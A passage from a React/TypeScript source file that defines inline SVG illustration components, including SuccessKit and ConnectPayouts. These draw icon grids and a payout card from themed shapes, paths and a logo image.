34.4001 87.4001 33.7634 87.4001 32.9779V23.0223C87.4001 22.2368 86.7634 21.6001 85.9779 21.6001H76.0223C75.2368 21.6001 74.6001 22.2368 74.6001 23.0223V32.9779C74.6001 33.7634 75.2368 34.4001 76.0223 34.4001Z\"\n        fill={CONTENT_SUBTLE}\n      />\n      <path\n        fillRule=\"evenodd\"\n        clipRule=\"evenodd\"\n        d=\"M85.6229 32.6229H83.7234V29.3877C83.7234 28.5007 83.3864 28.005 82.6843 28.005C81.9205 28.005 81.5216 28.5209 81.5216 29.3877V32.6229H79.691V26.4599H81.5216V27.2901C81.5216 27.2901 82.072 26.2716 83.3797 26.2716C84.687 26.2716 85.6229 27.0699 85.6229 28.7209V32.6229ZM77.5072 25.6529C76.8837 25.6529 76.3784 25.1437 76.3784 24.5157C76.3784 23.8876 76.8837 23.3784 77.5072 23.3784C78.1307 23.3784 78.6357 23.8876 78.6357 24.5157C78.6357 25.1437 78.1307 25.6529 77.5072 25.6529ZM76.562 32.6229H78.4708V26.4599H76.562V32.6229Z\"\n        fill={BG_DEFAULT}\n      />\n      <rect x=\"97\" y=\"12\" width=\"32\" height=\"32\" rx=\"6\" fill={BG_MUTED} />\n      <rect\n        x=\"97\"\n        y=\"12\"\n        width=\"32\"\n        height=\"32\"\n        rx=\"6\"\n        stroke={BORDER_SUBTLE}\n      />\n      <rect x=\"129\" y=\"12\" width=\"32\" height=\"32\" rx=\"6\" fill={BG_DEFAULT} />\n      <rect\n        x=\"129\"\n        y=\"12\"\n        width=\"32\"\n        height=\"32\"\n        rx=\"6\"\n        stroke={BORDER_SUBTLE}\n      />\n      <g clipPath=\"url(#clip0_4494_38695)\">\n        <path\n          d=\"M147.966 24.2374C146.993 22.6321 145.234 21.5557 143.219 21.5557C140.153 21.5557 137.667 24.0419 137.667 27.1094C137.667 28.1192 137.94 29.0641 138.412 29.8801C138.741 30.4979 138.372 31.9574 137.667 32.6623C138.624 32.7139 139.886 32.2819 140.449 31.9166C140.823 32.1326 141.418 32.4197 142.195 32.5663C142.294 32.585 142.401 32.5814 142.502 32.5948\"\n          stroke={CONTENT_SUBTLE}\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M148.333 26.4409C150.542 26.4409 152.333 28.232 152.333 30.4409C152.333 31.1689 152.136 31.8489 151.797 32.4374C151.559 32.8818 151.826 33.9334 152.333 34.4418C151.644 34.4791 150.735 34.1671 150.329 33.9049C150.06 34.0605 149.631 34.2667 149.071 34.3734C148.832 34.4187 148.585 34.4427 148.333 34.4427C146.123 34.4427 144.333 32.6516 144.333 30.4427C144.333 28.2329 146.124 26.4427 148.333 26.4427L148.333 26.4409Z\"\n          stroke={CONTENT_SUBTLE}\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n      </g>\n      <rect x=\"33\" y=\"44\" width=\"32\" height=\"32\" rx=\"6\" fill={BG_DEFAULT} />\n      <rect\n        x=\"33\"\n        y=\"44\"\n        width=\"32\"\n        height=\"32\"\n        rx=\"6\"\n        stroke={BORDER_SUBTLE}\n      />\n      <g clipPath=\"url(#clip1_4494_38695)\">\n        <path\n          d=\"M42.5557 57.1108L48.5708 60.4291C48.8383 60.5766 49.1619 60.5766 49.4294 60.4291L55.4446 57.1108\"\n          stroke={CONTENT_SUBTLE}\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M54.1113 62L56.3336 64.2222L54.1113 66.4444\"\n          stroke={CONTENT_SUBTLE}\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M55.4446 60.2344V56.6664C55.4446 55.6851 54.649 54.8887 53.6668 54.8887H44.3334C43.3512 54.8887 42.5557 55.6851 42.5557 56.6664V63.3331C42.5557 64.3144 43.3512 65.1109 44.3334 65.1109H49.8543\"\n          stroke={CONTENT_SUBTLE}\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M56.3336 64.2222H51.8892\"\n          stroke={CONTENT_SUBTLE}\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n      </g>\n      <rect x=\"65\" y=\"44\" width=\"32\" height=\"32\" rx=\"6\" fill={BG_MUTED} />\n      <rect\n        x=\"65\"\n        y=\"44\"\n        width=\"32\"\n        height=\"32\"\n        rx=\"6\"\n        stroke={BORDER_SUBTLE}\n      />\n      <rect x=\"97\" y=\"44\" width=\"32\" height=\"32\" rx=\"6\" fill={BG_DEFAULT} />\n      <rect\n        x=\"97\"\n        y=\"44\"\n        width=\"32\"\n        height=\"32\"\n        rx=\"6\"\n        stroke={BORDER_SUBTLE}\n      />\n      <path\n        d=\"M114.212 59.0206L118.974 53.6001H117.846L113.709 58.3057L110.408 53.6001H106.599L111.592 60.7165L106.599 66.4H107.727L112.093 61.4297L115.58 66.4H119.388M108.134 54.4331H109.867L117.845 65.6079H116.111\"\n        fill={CONTENT_SUBTLE}\n      />\n      <rect x=\"129\" y=\"44\" width=\"32\" height=\"32\" rx=\"6\" fill={BG_MUTED} />\n      <rect\n        x=\"129\"\n        y=\"44\"\n        width=\"32\"\n        height=\"32\"\n        rx=\"6\"\n        stroke={BORDER_SUBTLE}\n      />\n      <rect x=\"33\" y=\"76\" width=\"32\" height=\"32\" rx=\"6\" fill={BG_MUTED} />\n      <rect\n        x=\"33\"\n        y=\"76\"\n        width=\"32\"\n        height=\"32\"\n        rx=\"6\"\n        stroke={BORDER_SUBTLE}\n      />\n      <rect x=\"65\" y=\"76\" width=\"32\" height=\"32\" rx=\"6\" fill={BG_DEFAULT} />\n      <rect\n        x=\"65\"\n        y=\"76\"\n        width=\"32\"\n        height=\"32\"\n        rx=\"6\"\n        stroke={BORDER_SUBTLE}\n      />\n      <path\n        d=\"M76.3335 94.1841V96.5876C76.3335 96.9521 76.5557 97.2792 76.8944 97.4134L78.6233 98.1005C78.9788 98.2419 79.3842 98.1396 79.6313 97.8481L81.1122 96.089\"\n        stroke={CONTENT_SUBTLE}\n        strokeWidth=\"1.5\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M85.0001 97.5554C86.3501 97.5554 87.4446 95.0681 87.4446 91.9999C87.4446 88.9316 86.3501 86.4443 85.0001 86.4443C83.6501 86.4443 82.5557 88.9316 82.5557 91.9999C82.5557 95.0681 83.6501 97.5554 85.0001 97.5554Z\"\n        stroke={CONTENT_SUBTLE}\n        strokeWidth=\"1.5\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M84.5148 97.4445L75.3201 93.7796C75.0926 93.6916 74.9139 93.5165 74.8188 93.2916C74.6872 92.9805 74.5557 92.5387 74.5557 92C74.5557 91.7591 74.5823 91.2738 74.8126 90.7236C74.9086 90.4951 75.0908 90.3094 75.3219 90.2205C78.5557 88.968 81.281 87.8071 84.5148 86.5547\"\n        stroke={CONTENT_SUBTLE}\n        strokeWidth=\"1.5\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M85.8891 91.9998C85.8891 91.2638 85.2917 90.6665 84.5557 90.6665C84.5086 90.6665 84.4642 90.6754 84.4179 90.6807C84.3664 91.0825 84.3335 91.5207 84.3335 91.9998C84.3335 92.4789 84.3664 92.9172 84.4179 93.3189C84.4642 93.3234 84.5086 93.3332 84.5557 93.3332C85.2917 93.3332 85.8891 92.7358 85.8891 91.9998Z\"\n        fill=\"#737373\"\n      />\n      <rect x=\"97\" y=\"76\" width=\"32\" height=\"32\" rx=\"6\" fill={BG_MUTED} />\n      <rect\n        x=\"97\"\n        y=\"76\"\n        width=\"32\"\n        height=\"32\"\n        rx=\"6\"\n        stroke={BORDER_SUBTLE}\n      />\n      <rect x=\"129\" y=\"76\" width=\"32\" height=\"32\" rx=\"6\" fill={BG_DEFAULT} />\n      <rect\n        x=\"129\"\n        y=\"76\"\n        width=\"32\"\n        height=\"32\"\n        rx=\"6\"\n        stroke={BORDER_SUBTLE}\n      />\n      <path\n        d=\"M143 86.4443H140.333C139.842 86.4443 139.444 86.8423 139.444 87.3332V89.9999C139.444 90.4908 139.842 90.8888 140.333 90.8888H143C143.491 90.8888 143.889 90.4908 143.889 89.9999V87.3332C143.889 86.8423 143.491 86.4443 143 86.4443Z\"\n        stroke={CONTENT_SUBTLE}\n        strokeWidth=\"1.5\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M149.666 86.4443H147C146.509 86.4443 146.111 86.8423 146.111 87.3332V89.9999C146.111 90.4908 146.509 90.8888 147 90.8888H149.666C150.157 90.8888 150.555 90.4908 150.555 89.9999V87.3332C150.555 86.8423 150.157 86.4443 149.666 86.4443Z\"\n        stroke={CONTENT_SUBTLE}\n        strokeWidth=\"1.5\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M143 93.1108H140.333C139.842 93.1108 139.444 93.5088 139.444 93.9997V96.6664C139.444 97.1573 139.842 97.5553 140.333 97.5553H143C143.491 97.5553 143.889 97.1573 143.889 96.6664V93.9997C143.889 93.5088 143.491 93.1108 143 93.1108Z\"\n        stroke={CONTENT_SUBTLE}\n        strokeWidth=\"1.5\"\n        strokeLinecap=\"round\"\n        strokeLinejoin=\"round\"\n      />\n      <path\n        d=\"M141.5 88.8333V88.5H141.833V88.8333H141.5Z\"\n        fill=\"#737373\"\n        stroke={CONTENT_SUBTLE}\n      />\n      <path\n        d=\"M148.167 88.8333V88.5H148.5V88.8333H148.167Z\"\n        fill=\"#737373\"\n        stroke={CONTENT_SUBTLE}\n      />\n      <path\n        d=\"M141.5 95.4998V95.1665H141.833V95.4998H141.5Z\"\n        fill=\"#737373\"\n        stroke={CONTENT_SUBTLE}\n      />\n      <path\n        d=\"M150.389 97.722V97.3887H150.722V97.722H150.389Z\"\n        fill=\"#737373\"\n        stroke={CONTENT_SUBTLE}\n      />\n      <path\n        d=\"M149.056 96.389V96.0557H149.389V96.389H149.056Z\"\n        fill=\"#737373\"\n        stroke={CONTENT_SUBTLE}\n      />\n      <path\n        d=\"M150.389 95.0555V94.7222H150.722V95.0555H150.389Z\"\n        fill=\"#737373\"\n        stroke={CONTENT_SUBTLE}\n      />\n      <path\n        d=\"M147.278 97.722V97.3887H148.056V97.722H147.278Z\"\n        fill=\"#737373\"\n        stroke={CONTENT_SUBTLE}\n      />\n      <path\n        d=\"M145.944 96.3888V94.7222H146.278V96.3888H145.944Z\"\n        fill=\"#737373\"\n        stroke={CONTENT_SUBTLE}\n      />\n      <path\n        d=\"M147.278 93.722V93.3887H149.389V93.722H147.278Z\"\n        fill=\"#737373\"\n        stroke={CONTENT_SUBTLE}\n      />\n      <defs>\n        <clipPath id=\"clip0_4494_38695\">\n          <rect\n            width=\"16\"\n            height=\"16\"\n            fill={BG_DEFAULT}\n            transform=\"translate(137 20)\"\n          />\n        </clipPath>\n        <clipPath id=\"clip1_4494_38695\">\n          <rect\n            width=\"16\"\n            height=\"16\"\n            fill={BG_DEFAULT}\n            transform=\"translate(41 52)\"\n          />\n        </clipPath>\n      </defs>\n    </svg>\n  );\n};\n\nconst SuccessKit = ({ logo }: { logo: string }) => {\n  return (\n    <svg\n      width=\"194\"\n      height=\"121\"\n      viewBox=\"0 0 194 121\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className=\"h-auto w-full\"\n    >\n      <rect width=\"194\" height=\"121\" fill={BG_MUTED} />\n      <circle\n        cx=\"119\"\n        cy=\"23\"\n        r=\"15.5\"\n        fill={BG_MUTED}\n        stroke={BORDER_SUBTLE}\n      />\n      <rect x=\"78\" y=\"41\" width=\"38\" height=\"38\" rx=\"19\" fill={BG_DEFAULT} />\n      <rect\n        x=\"78\"\n        y=\"41\"\n        width=\"38\"\n        height=\"38\"\n        rx=\"19\"\n        stroke={BORDER_SUBTLE}\n      />\n      <rect\n        x=\"82\"\n        y=\"45\"\n        width=\"30\"\n        height=\"30\"\n        rx=\"15\"\n        fill=\"url(#pattern0_4494_38753)\"\n      />\n      <rect\n        x=\"125.5\"\n        y=\"44.5\"\n        width=\"31\"\n        height=\"31\"\n        rx=\"15.5\"\n        fill={BG_DEFAULT}\n      />\n      <rect\n        x=\"125.5\"\n        y=\"44.5\"\n        width=\"31\"\n        height=\"31\"\n        rx=\"15.5\"\n        stroke={BORDER_SUBTLE}\n      />\n      <g clipPath=\"url(#clip0_4494_38753)\">\n        <path\n          d=\"M136.148 55.2096L134.589 59.2813C134.452 59.6406 134.756 60.0136 135.135 59.9514L139.471 59.2416C139.85 59.1794 140.019 58.7289 139.774 58.4322L136.998 55.0704C136.755 54.776 136.285 54.8529 136.148 55.2096Z\"\n          stroke={CONTENT_SUBTLE}\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M145 58.4446C146.35 58.4446 147.445 57.3501 147.445 56.0001C147.445 54.6501 146.35 53.5557 145 53.5557C143.65 53.5557 142.556 54.6501 142.556 56.0001C142.556 57.3501 143.65 58.4446 145 58.4446Z\"\n          stroke={CONTENT_SUBTLE}\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M145.667 63.1263C144.534 63.9455 143.698 65.1099 143.284 66.4448C142.465 65.3123 141.3 64.4761 139.965 64.0617C141.098 63.2425 141.934 62.078 142.348 60.7432C143.168 61.8756 144.332 62.7118 145.667 63.1263Z\"\n          stroke={CONTENT_SUBTLE}\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n      </g>\n      <rect\n        x=\"60.5\"\n        y=\"7.5\"\n        width=\"31\"\n        height=\"31\"\n        rx=\"15.5\"\n        fill={BG_DEFAULT}\n      />\n      <rect\n        x=\"60.5\"\n        y=\"7.5\"\n        width=\"31\"\n        height=\"31\"\n        rx=\"15.5\"\n        stroke={BORDER_SUBTLE}\n      />\n      <g clipPath=\"url(#clip1_4494_38753)\">\n        <path\n          d=\"M73.1108 21H74.8886\"\n          stroke={CONTENT_SUBTLE}\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M73.1108 23.667H77.1108\"\n          stroke={CONTENT_SUBTLE}\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M81.4757 20.5558H78.4446C77.9539 20.5558 77.5557 20.1576 77.5557 19.6669V16.6465\"\n          stroke={CONTENT_SUBTLE}\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M81.5554 25.0001V20.9237C81.5554 20.6881 81.4621 20.4614 81.295 20.2952L77.8159 16.8161C77.6488 16.649 77.423 16.5557 77.1874 16.5557H72.2221C71.2399 16.5557 70.4443 17.3521 70.4443 18.3334V27.6668C70.4443 28.6481 71.2399 29.4446 72.2221 29.4446H76.7101\"\n          stroke={CONTENT_SUBTLE}\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M78.8833 29.0002L80.3135 30.3335L83.3331 26.3335\"\n          stroke={CONTENT_SUBTLE}\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n      </g>\n      <rect\n        x=\"60.5\"\n        y=\"82.5\"\n        width=\"31\"\n        height=\"31\"\n        rx=\"15.5\"\n        fill={BG_DEFAULT}\n      />\n      <rect\n        x=\"60.5\"\n        y=\"82.5\"\n        width=\"31\"\n        height=\"31\"\n        rx=\"15.5\"\n        stroke={BORDER_SUBTLE}\n      />\n      <g clipPath=\"url(#clip2_4494_38753)\">\n        <path\n          d=\"M75.3809 104.415C72.023 104.095 69.4166 101.198 69.5614 97.7244C69.701 94.377 72.5393 91.6129 75.8892 91.5566C79.4992 91.4959 82.4445 94.4041 82.4445 98.0001C82.4445 99.3501 81.3501 100.445 80.0001 100.445H77.3663C76.4475 100.445 75.8616 101.425 76.2972 102.234L76.5083 102.626C76.7391 103.055 76.6915 103.58 76.3873 103.961C76.1441 104.265 75.7684 104.452 75.3809 104.415Z\"\n          stroke={CONTENT_SUBTLE}\n          strokeWidth=\"1.5\"\n          strokeLinecap=\"round\"\n          strokeLinejoin=\"round\"\n        />\n        <path\n          d=\"M76.0002 95.3334C76.4911 95.3334 76.8891 94.9355 76.8891 94.4446C76.8891 93.9536 76.4911 93.5557 76.0002 93.5557C75.5093 93.5557 75.1113 93.9536 75.1113 94.4446C75.1113 94.9355 75.5093 95.3334 76.0002 95.3334Z\"\n          fill=\"#737373\"\n        />\n        <path\n          d=\"M73.4861 96.3749C73.977 96.3749 74.3749 95.977 74.3749 95.4861C74.3749 94.9951 73.977 94.5972 73.4861 94.5972C72.9951 94.5972 72.5972 94.9951 72.5972 95.4861C72.5972 95.977 72.9951 96.3749 73.4861 96.3749Z\"\n          fill=\"#737373\"\n        />\n        <path\n          d=\"M78.5144 96.3749C79.0053 96.3749 79.4033 95.977 79.4033 95.4861C79.4033 94.9951 79.0053 94.5972 78.5144 94.5972C78.0235 94.5972 77.6255 94.9951 77.6255 95.4861C77.6255 95.977 78.0235 96.3749 78.5144 96.3749Z\"\n          fill=\"#737373\"\n        />\n        <path\n          d=\"M72.4446 98.8891C72.9355 98.8891 73.3334 98.4911 73.3334 98.0002C73.3334 97.5093 72.9355 97.1113 72.4446 97.1113C71.9536 97.1113 71.5557 97.5093 71.5557 98.0002C71.5557 98.4911 71.9536 98.8891 72.4446 98.8891Z\"\n          fill=\"#737373\"\n        />\n      </g>\n      <circle\n        cx=\"119\"\n        cy=\"98\"\n        r=\"15.5\"\n        fill={BG_MUTED}\n        stroke={BORDER_SUBTLE}\n      />\n      <circle cx=\"54\" cy=\"60\" r=\"15.5\" fill={BG_MUTED} stroke={BORDER_SUBTLE} />\n      <defs>\n        <pattern\n          id=\"pattern0_4494_38753\"\n          patternContentUnits=\"objectBoundingBox\"\n          width=\"1\"\n          height=\"1\"\n        >\n          <use xlinkHref=\"#image0_4494_38753\" transform=\"scale(0.0025)\" />\n        </pattern>\n        <clipPath id=\"clip0_4494_38753\">\n          <rect\n            width=\"16\"\n            height=\"16\"\n            fill={BG_DEFAULT}\n            transform=\"translate(133 52)\"\n          />\n        </clipPath>\n        <clipPath id=\"clip1_4494_38753\">\n          <rect\n            width=\"16\"\n            height=\"16\"\n            fill={BG_DEFAULT}\n            transform=\"translate(68 15)\"\n          />\n        </clipPath>\n        <clipPath id=\"clip2_4494_38753\">\n          <rect\n            width=\"16\"\n            height=\"16\"\n            fill={BG_DEFAULT}\n            transform=\"translate(68 90)\"\n          />\n        </clipPath>\n        <image\n          id=\"image0_4494_38753\"\n          width=\"400\"\n          height=\"400\"\n          xlinkHref={logo}\n        />\n      </defs>\n    </svg>\n  );\n};\n\nconst ConnectPayouts = ({ logo }: { logo: string }) => {\n  return (\n    <svg\n      width=\"194\"\n      height=\"121\"\n      viewBox=\"0 0 194 121\"\n      fill=\"none\"\n      xmlns=\"http://www.w3.org/2000/svg\"\n      className=\"h-auto w-full\"\n    >\n      <rect width=\"194\" height=\"121\" fill={BG_MUTED} />\n      <rect\n        x=\"33.5\"\n        y=\"1.5\"\n        width=\"127\"\n        height=\"84\"\n        rx=\"10.5\"\n        stroke={BORDER_SUBTLE}\n      />\n      <rect\n        x=\"40.5\"\n        y=\"8.5\"\n        width=\"113\"\n        height=\"70\"\n        rx=\"5.5\"\n        fill={BG_DEFAULT}\n      />\n      <rect\n        x=\"40.5\"\n        y=\"8.5\"\n        width=\"113\"\n        height=\"70\"\n        rx=\"5.5\"\n        stroke={BORDER_SUBTLE}\n      />\n      <rect\n        x=\"48\"\n        y=\"16\"\n        width=\"14\"\n        height=\"14\"\n        rx=\"7\"\n        fill=\"url(#pattern0_4494_38789)\"\n      />\n      <path\n        opacity=\"0.2\"\n        fillRule=\"evenodd\"\n        clipRule=\"evenodd\"\n        d=\"M146 23.1861C146 21.2818 145.104 19.7793 143.393 19.7793C141.674 19.7793 140.634 21.2818 140.634 23.1712C140.634 25.4102 141.862 26.5409 143.624 26.5409C144.483 26.5409 145.133 26.34 145.624 26.0574V24.5697C145.133 24.8226 144.57 24.9788 143.855 24.9788C143.154 24.9788 142.533 24.7259 142.454 23.8481H145.986C145.986 23.7514 146 23.3646 146 23.1861ZM142.432 22.4794C142.432 21.6389 142.931 21.2893 143.386 21.2893C143.826 21.2893 144.296 21.6389 144.296 22.4794H142.432ZM137.846 19.7793C137.138 19.7793 136.683 20.1214 136.431 20.3595L136.337 19.8983H134.748V28.5716L136.553 28.1773L136.561 26.0722C136.821 26.2656 137.203 26.5409 137.839 26.5409C139.132 26.5409 140.309 25.4697 140.309 23.1117C140.302 20.9546 139.11 19.7793 137.846 19.7793ZM137.413 24.9044C136.987 24.9044 136.734 24.7482 136.561 24.5548L136.553 21.7951C136.741 21.5794 137.001 21.4306 137.413 21.4306C138.07 21.4306 138.525 22.1893 138.525 23.1638C138.525 24.1605 138.077 24.9044 137.413 24.9044ZM132.263 19.3404L134.076 18.9387V17.4287L132.263 17.823V19.3404ZM132.263 19.9057H134.076V26.4144H132.263V19.9057ZM130.321 20.4562L130.205 19.9057H128.645V26.4144H130.451V22.0034C130.877 21.4306 131.599 21.5348 131.823 21.6166V19.9057C131.592 19.8165 130.747 19.6528 130.321 20.4562ZM126.709 18.2916L124.947 18.6784L124.94 24.6366C124.94 25.7375 125.742 26.5483 126.811 26.5483C127.403 26.5483 127.836 26.4367 128.074 26.3028V24.7928C127.843 24.8895 126.702 25.2317 126.702 24.1308V21.4901H128.074V19.9057H126.702L126.709 18.2916ZM121.827 21.7951C121.827 21.505 122.058 21.3934 122.441 21.3934C122.99 21.3934 123.683 21.5645 124.232 21.8695V20.1214C123.633 19.876 123.041 19.7793 122.441 19.7793C120.975 19.7793 120 20.5678 120 21.8844C120 23.9374 122.744 23.6101 122.744 24.4953C122.744 24.8374 122.456 24.949 122.051 24.949C121.452 24.949 120.686 24.6961 120.079 24.3539V26.1243C120.751 26.4218 121.43 26.5483 122.051 26.5483C123.553 26.5483 124.586 25.7821 124.586 24.4506C124.579 22.234 121.827 22.6282 121.827 21.7951Z\"\n        fill=\"#0A2540\"\n      />\n      <path\n        d=\"M48.4304 58V53.6364H50.0668C50.402 53.6364 50.6832 53.6989 50.9105 53.8239C51.1392 53.9489 51.3118 54.1207 51.4283 54.3395C51.5462 54.5568 51.6051 54.804 51.6051 55.081C51.6051 55.3608 51.5462 55.6094 51.4283 55.8267C51.3104 56.044 51.1364 56.2152 50.9062 56.3402C50.6761 56.4638 50.3928 56.5256 50.0561 56.5256H48.9716V55.8757H49.9496C50.1456 55.8757 50.3061 55.8416 50.4311 55.7734C50.5561 55.7053 50.6484 55.6115 50.7081 55.4922C50.7692 55.3729 50.7997 55.2358 50.7997 55.081C50.7997 54.9261 50.7692 54.7898 50.7081 54.6719C50.6484 54.554 50.5554 54.4624 50.429 54.397C50.304 54.3303 50.1428 54.2969 49.9453 54.2969H49.2209V58H48.4304ZM53.1408 58.0661C52.9334 58.0661 52.7466 58.0291 52.5804 57.9553C52.4157 57.88 52.285 57.7692 52.1884 57.6229C52.0932 57.4766 52.0456 57.2962 52.0456 57.0817C52.0456 56.897 52.0797 56.7443 52.1479 56.6236C52.2161 56.5028 52.3091 56.4062 52.427 56.3338C52.5449 56.2614 52.6777 56.2067 52.8255 56.1697C52.9746 56.1314 53.1287 56.1037 53.2878 56.0866C53.4796 56.0668 53.6351 56.049 53.7544 56.0334C53.8738 56.0163 53.9604 55.9908 54.0144 55.9567C54.0698 55.9212 54.0975 55.8665 54.0975 55.7926V55.7798C54.0975 55.6193 54.0499 55.495 53.9547 55.407C53.8596 55.3189 53.7225 55.2749 53.5435 55.2749C53.3546 55.2749 53.2047 55.3161 53.0939 55.3984C52.9846 55.4808 52.9107 55.5781 52.8723 55.6903L52.1522 55.5881C52.209 55.3892 52.3027 55.223 52.4334 55.0895C52.5641 54.9545 52.7239 54.8537 52.9128 54.7869C53.1017 54.7188 53.3105 54.6847 53.5392 54.6847C53.6969 54.6847 53.8539 54.7031 54.0101 54.7401C54.1664 54.777 54.3091 54.8381 54.4384 54.9233C54.5676 55.0071 54.6713 55.1214 54.7495 55.2663C54.829 55.4112 54.8688 55.5923 54.8688 55.8097V58H54.1273V57.5504H54.1017C54.0549 57.6413 53.9888 57.7266 53.9036 57.8061C53.8198 57.8842 53.714 57.9474 53.5861 57.9957C53.4597 58.0426 53.3113 58.0661 53.1408 58.0661ZM53.3411 57.4993C53.4959 57.4993 53.6301 57.4687 53.7438 57.4077C53.8574 57.3452 53.9448 57.2628 54.0059 57.1605C54.0684 57.0582 54.0996 56.9467 54.0996 56.826V56.4403C54.0755 56.4602 54.0343 56.4787 53.976 56.4957C53.9192 56.5128 53.8553 56.5277 53.7843 56.5405C53.7132 56.5533 53.6429 56.5646 53.5733 56.5746C53.5037 56.5845 53.4434 56.593 53.3922 56.6001C53.2772 56.6158 53.1742 56.6413 53.0833 56.6768C52.9924 56.7124 52.9206 56.7621 52.8681 56.826C52.8155 56.8885 52.7892 56.9695 52.7892 57.0689C52.7892 57.2109 52.8411 57.3182 52.9448 57.3906C53.0485 57.4631 53.1806 57.4993 53.3411 57.4993ZM56.0066 59.2273C55.9015 59.2273 55.8042 59.2188 55.7147 59.2017C55.6266 59.1861 55.5563 59.1676 55.5037 59.1463L55.6827 58.5455C55.7949 58.5781 55.8951 58.5938 55.9831 58.5923C56.0712 58.5909 56.1486 58.5632 56.2154 58.5092C56.2836 58.4567 56.3411 58.3686 56.388 58.245L56.454 58.0682L55.2672 54.7273H56.0854L56.8397 57.1989H56.8738L57.6301 54.7273H58.4505L57.1401 58.3963C57.079 58.5696 56.998 58.718 56.8972 58.8416C56.7963 58.9666 56.6728 59.0618 56.5265 59.1271C56.3816 59.1939 56.2083 59.2273 56.0066 59.2273ZM60.3004 58.0639C59.9808 58.0639 59.7038 57.9936 59.4695 57.853C59.2351 57.7124 59.0533 57.5156 58.924 57.2628C58.7962 57.0099 58.7322 56.7145 58.7322 56.3764C58.7322 56.0384 58.7962 55.7422 58.924 55.4879C59.0533 55.2337 59.2351 55.0362 59.4695 54.8956C59.7038 54.755 59.9808 54.6847 60.3004 54.6847C60.62 54.6847 60.897 54.755 61.1314 54.8956C61.3658 55.0362 61.5469 55.2337 61.6747 55.4879C61.804 55.7422 61.8686 56.0384 61.8686 56.3764C61.8686 56.7145 61.804 57.0099 61.6747 57.2628C61.5469 57.5156 61.3658 57.7124 61.1314 57.853C60.897 57.9936 60.62 58.0639 60.3004 58.0639ZM60.3047 57.446C60.478 57.446 60.6229 57.3984 60.7393 57.3033C60.8558 57.2067 60.9425 57.0774 60.9993 56.9155C61.0575 56.7536 61.0866 56.5732 61.0866 56.3743C61.0866 56.174 61.0575 55.9929 60.9993 55.831C60.9425 55.6676 60.8558 55.5376 60.7393 55.4411C60.6229 55.3445 60.478 55.2962 60.3047 55.2962C60.1271 55.2962 59.9794 55.3445 59.8615 55.4411C59.745 55.5376 59.6577 55.6676 59.5994 55.831C59.5426 55.9929 59.5142 56.174 59.5142 56.3743C59.5142 56.5732 59.5426 56.7536 59.5994 56.9155C59.6577 57.0774 59.745 57.2067 59.8615 57.3033C59.9794 57.3984 60.1271 57.446 60.3047 57.446ZM64.6092 56.6236V54.7273H65.3805V58H64.6326V57.4183H64.5985C64.5247 57.6016 64.4032 57.7514 64.2342 57.8679C64.0666 57.9844 63.8599 58.0426 63.6142 58.0426C63.3997 58.0426 63.21 57.995 63.0453 57.8999C62.8819 57.8033 62.7541 57.6634 62.6618 57.4801C62.5694 57.2955 62.5233 57.0724 62.5233 56.8111V54.7273H63.2946V56.6918C63.2946 56.8991 63.3514 57.0639 63.465 57.1861C63.5787 57.3082 63.7278 57.3693 63.9125 57.3693C64.0261 57.3693 64.1362 57.3416 64.2427 57.2862C64.3493 57.2308 64.4366 57.1484 64.5048 57.0391C64.5744 56.9283 64.6092 56.7898 64.6092 56.6236ZM67.8079 54.7273V55.3239H65.9265V54.7273H67.8079ZM66.391 53.9432H67.1623V57.0156C67.1623 57.1193 67.1779 57.1989 67.2092 57.2543C67.2418 57.3082 67.2844 57.3452 67.337 57.3651C67.3896 57.3849 67.4478 57.3949 67.5117 57.3949C67.56 57.3949 67.604 57.3913 67.6438 57.3842C67.685 57.3771 67.7163 57.3707 67.7376 57.3651L67.8675 57.968C67.8263 57.9822 67.7674 57.9979 67.6907 58.0149C67.6154 58.032 67.5231 58.0419 67.4137 58.0447C67.2205 58.0504 67.0465 58.0213 66.8917 57.9574C66.7369 57.892 66.614 57.7912 66.5231 57.6548C66.4336 57.5185 66.3896 57.348 66.391 57.1435V53.9432ZM70.9927 55.5923L70.2896 55.669C70.2697 55.598 70.2349 55.5312 70.1852 55.4688C70.1369 55.4062 70.0716 55.3558 69.9892 55.3175C69.9068 55.2791 69.8059 55.2599 69.6866 55.2599C69.5261 55.2599 69.3912 55.2947 69.2818 55.3643C69.1738 55.4339 69.1206 55.5241 69.122 55.6349C69.1206 55.7301 69.1554 55.8075 69.2264 55.8672C69.2988 55.9268 69.4181 55.9759 69.5843 56.0142L70.1426 56.1335C70.4522 56.2003 70.6824 56.3061 